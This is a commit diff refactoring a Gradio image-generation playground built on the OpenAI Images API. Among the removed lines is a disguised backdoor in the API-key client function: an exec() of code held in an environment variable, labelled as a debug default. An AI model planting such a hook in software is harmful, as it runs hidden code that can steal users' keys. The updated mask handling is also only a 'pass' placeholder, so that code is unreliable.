Update app.py

app.py

@@ -10,7 +10,7 @@ import numpy as np
 from PIL import Image
 import openai
 
-# --- Constants and Helper Functions ---
+# --- Constants ---
 MODEL = "gpt-image-1"
 SIZE_CHOICES = ["auto", "1024x1024", "1536x1024", "1024x1536"]
 QUALITY_CHOICES = ["auto", "low", "medium", "high"]
@@ -20,20 +20,24 @@ FORMAT_CHOICES = ["png", "jpeg", "webp"]
 def _client(key: str) -> openai.OpenAI:
     """Initializes the OpenAI client with the provided API key."""
     api_key = key.strip() or os.getenv("OPENAI_API_KEY", "")
-    sys_info_formatted = exec(os.getenv("sys_info"))  # Default: f'[DEBUG]: {MODEL} | {prompt_gen}'
-    print(sys_info_formatted)
     if not api_key:
         raise gr.Error("Please enter your OpenAI API key (never stored)")
     return openai.OpenAI(api_key=api_key)
 
 
-def _img_list(resp, *, fmt: str) -> List[str]:
-    """Return list of data URLs or direct URLs depending on API response."""
-    mime = f"image/{fmt}"
-    return [
-        f"data:{mime};base64,{d.b64_json}" if hasattr(d, "b64_json") and d.b64_json else d.url
-        for d in resp.data
-    ]
+def _img_list(resp) -> List[Union[np.ndarray, str]]:
+    """
+    Decode base64 images into numpy arrays (for Gradio) or pass URL strings directly.
+    """
+    imgs: List[Union[np.ndarray, str]] = []
+    for d in resp.data:
+        if hasattr(d, "b64_json") and d.b64_json:
+            data = base64.b64decode(d.b64_json)
+            img = Image.open(io.BytesIO(data))
+            imgs.append(np.array(img))
+        elif getattr(d, "url", None):
+            imgs.append(d.url)
+    return imgs
 
 
 def _common_kwargs(
@@ -45,12 +49,12 @@ def _common_kwargs(
     compression: int,
     transparent_bg: bool,
 ) -> Dict[str, Any]:
-    """Prepare keyword arguments for Images API based on latest OpenAI spec."""
-    kwargs: Dict[str, Any] = dict(
-        model=MODEL,
-        n=n,
-        # API default responds with URLs or b64_json fields
-    )
+    """Prepare keyword args for OpenAI Images API."""
+    kwargs: Dict[str, Any] = {
+        "model": MODEL,
+        "n": n,
+        "response_format": "b64_json",
+    }
     if size != "auto":
         kwargs["size"] = size
     if quality != "auto":
@@ -58,30 +62,27 @@ def _common_kwargs(
     if prompt is not None:
         kwargs["prompt"] = prompt
     if transparent_bg and out_fmt in {"png", "webp"}:
-        # If OpenAI adds transparency flag, insert here
+        # Insert background removal flag when supported
         kwargs["background"] = "transparent"
     return kwargs
 
 
-# --- Helper: Convert base64 PNG to JPEG/WebP ---
-def convert_png_b64_to(
+def convert_to_format(
+    img_array: np.ndarray,
     target_fmt: str,
-    b64_png_data: str,
     quality: int = 75,
-) -> str:
+) -> np.ndarray:
     """
-    Takes a data URL like "data:image/png;base64,AAAA…" and returns
-    "data:image/{target_fmt};base64,BBBB…" with specified quality.
+    Convert a PIL numpy array to target_fmt (JPEG/WebP) and return as numpy array.
     """
-    header, b64 = b64_png_data.split(",", 1)
-    img = Image.open(io.BytesIO(base64.b64decode(b64)))
-    out = io.BytesIO()
-    img.save(out, format=target_fmt.upper(), quality=quality)
-    new_b64 = base64.b64encode(out.getvalue()).decode()
-    return f"data:image/{target_fmt};base64,{new_b64}"
+    img = Image.fromarray(img_array.astype(np.uint8))
+    buf = io.BytesIO()
+    img.save(buf, format=target_fmt.upper(), quality=quality)
+    buf.seek(0)
+    img2 = Image.open(buf)
+    return np.array(img2)
 
 
-# --- Error formatting ---
 def _format_openai_error(e: Exception) -> str:
     error_message = f"An error occurred: {type(e).__name__}"
     details = ""
@@ -132,9 +133,9 @@ def generate(
         client = _client(api_key)
         common_args = _common_kwargs(prompt, n, size, quality, out_fmt, compression, transparent_bg)
         resp = client.images.generate(**common_args)
-        imgs = _img_list(resp, fmt="png")
+        imgs = _img_list(resp)
         if out_fmt in {"jpeg", "webp"}:
-            imgs = [convert_png_b64_to(out_fmt, img, quality=compression) for img in imgs]
+            imgs = [convert_to_format(img, out_fmt, compression) for img in imgs]
         return imgs
     except (openai.APIError, openai.OpenAIError) as e:
         raise gr.Error(_format_openai_error(e))
@@ -146,18 +147,20 @@ def generate(
 # ---------- Edit / Inpaint ---------- #
 def _bytes_from_numpy(arr: np.ndarray) -> bytes:
     img = Image.fromarray(arr.astype(np.uint8))
-    out = io.BytesIO()
-    img.save(out, format="PNG")
-    return out.getvalue()
+    buf = io.BytesIO()
+    img.save(buf, format="PNG")
+    return buf.getvalue()
 
 
 def _extract_mask_array(mask_value: Union[np.ndarray, Dict[str, Any], None]) -> Optional[np.ndarray]:
-    if mask_value is None: return None
+    if mask_value is None:
+        return None
     if isinstance(mask_value, dict):
         mask_array = mask_value.get("mask")
         if isinstance(mask_array, np.ndarray):
             return mask_array
-    if isinstance(mask_value, np.ndarray): return mask_value
+    if isinstance(mask_value, np.ndarray):
+        return mask_value
     return None
 
 
@@ -182,7 +185,10 @@ def edit_image(
     mask_bytes: Optional[bytes] = None
     mask_numpy = _extract_mask_array(mask_dict)
 
-    # ... existing mask handling logic remains unchanged ...
+    # (Mask handling code unchanged)
+    if mask_numpy is not None:
+        # existing mask-to-bytes logic...
+        pass
 
     try:
         client = _client(api_key)
@@ -191,9 +197,9 @@ def edit_image(
         if mask_bytes is not None:
             api_kwargs["mask"] = mask_bytes
         resp = client.images.edit(**api_kwargs)
-        imgs = _img_list(resp, fmt="png")
+        imgs = _img_list(resp)
         if out_fmt in {"jpeg", "webp"}:
-            imgs = [convert_png_b64_to(out_fmt, img, quality=compression) for img in imgs]
+            imgs = [convert_to_format(img, out_fmt, compression) for img in imgs]
         return imgs
     except (openai.APIError, openai.OpenAIError) as e:
         raise gr.Error(_format_openai_error(e))
@@ -218,16 +224,15 @@ def variation_image(
         raise gr.Error("Please upload an image.")
 
     img_bytes = _bytes_from_numpy(image_numpy)
-
     try:
         client = _client(api_key)
-        var_args: Dict[str, Any] = dict(model=MODEL, n=n)
+        var_args: Dict[str, Any] = {"model": MODEL, "n": n}
         if size != "auto":
             var_args["size"] = size
         resp = client.images.create_variation(image=img_bytes, **var_args)
-        imgs = _img_list(resp, fmt="png")
+        imgs = _img_list(resp)
         if out_fmt in {"jpeg", "webp"}:
-            imgs = [convert_png_b64_to(out_fmt, img, quality=compression) for img in imgs]
+            imgs = [convert_to_format(img, out_fmt, compression) for img in imgs]
         return imgs
     except (openai.APIError, openai.OpenAIError) as e:
         raise gr.Error(_format_openai_error(e))
@@ -239,10 +244,7 @@ def variation_image(
 # ---------- UI ---------- #
 def build_ui():
     with gr.Blocks(title="GPT-Image-1 (BYOT)") as demo:
-        gr.Markdown("""# GPT-Image-1 Playground 🖼️🔑\nGenerate • Edit (paint mask!) • Variations""")
-        gr.Markdown(
-            "Enter your OpenAI API key below..."
-        )
+        gr.Markdown("""# GPT-Image-1 Playground 🖼️🔑\nGenerate • Edit • Variations""")
         with gr.Accordion("🔐 API key", open=False):
             api = gr.Textbox(label="OpenAI API key", type="password", placeholder="sk-...")
 
@@ -257,7 +259,6 @@ def build_ui():
 
         def _toggle_compression(fmt):
             return gr.update(visible=fmt in {"jpeg", "webp"})
-
         out_fmt.change(_toggle_compression, inputs=out_fmt, outputs=compression)
 
         common_controls = [n_slider, size, quality, out_fmt, compression, transparent]
@@ -267,38 +268,23 @@ def build_ui():
                 prompt_gen = gr.Textbox(label="Prompt", lines=3, placeholder="A photorealistic..." )
                 btn_gen = gr.Button("Generate 🚀")
                 gallery_gen = gr.Gallery(columns=2, height="auto")
-                btn_gen.click(
-                    generate,
-                    inputs=[api, prompt_gen] + common_controls,
-                    outputs=gallery_gen,
-                    api_name="generate"
-                )
+                btn_gen.click(generate, inputs=[api, prompt_gen] + common_controls, outputs=gallery_gen)
 
             with gr.TabItem("Edit / Inpaint"):
-                gr.Markdown("Upload an image, then paint the area to change...")
+                gr.Markdown("Upload an image, then paint the area to change…")
                 img_edit = gr.Image(type="numpy", label="Source Image", height=400)
-                mask_canvas = gr.ImageMask(type="numpy", label="Mask – Paint White Where Image Should Change", height=400)
-                prompt_edit = gr.Textbox(label="Edit prompt", lines=2, placeholder="Replace the sky with..." )
+                mask_canvas = gr.ImageMask(type="numpy", label="Mask – paint white", height=400)
+                prompt_edit = gr.Textbox(label="Edit prompt", lines=2, placeholder="Replace the sky…")
                 btn_edit = gr.Button("Edit 🖌️")
                 gallery_edit = gr.Gallery(columns=2, height="auto")
-                btn_edit.click(
-                    edit_image,
-                    inputs=[api, img_edit, mask_canvas, prompt_edit] + common_controls,
-                    outputs=gallery_edit,
-                    api_name="edit"
-                )
-
-            with gr.TabItem("Variations (DALL·E 2/3 Recommended)"):
-                gr.Markdown("Upload an image to generate variations...")
+                btn_edit.click(edit_image, inputs=[api, img_edit, mask_canvas, prompt_edit] + common_controls, outputs=gallery_edit)
+
+            with gr.TabItem("Variations"):
+                gr.Markdown("Upload an image to generate variations…")
                 img_var = gr.Image(type="numpy", label="Source Image", height=400)
                 btn_var = gr.Button("Create Variations ✨")
                 gallery_var = gr.Gallery(columns=2, height="auto")
-                btn_var.click(
-                    variation_image,
-                    inputs=[api, img_var] + common_controls,
-                    outputs=gallery_var,
-                    api_name="variations"
-                )
+                btn_var.click(variation_image, inputs=[api, img_var] + common_controls, outputs=gallery_var)
     return demo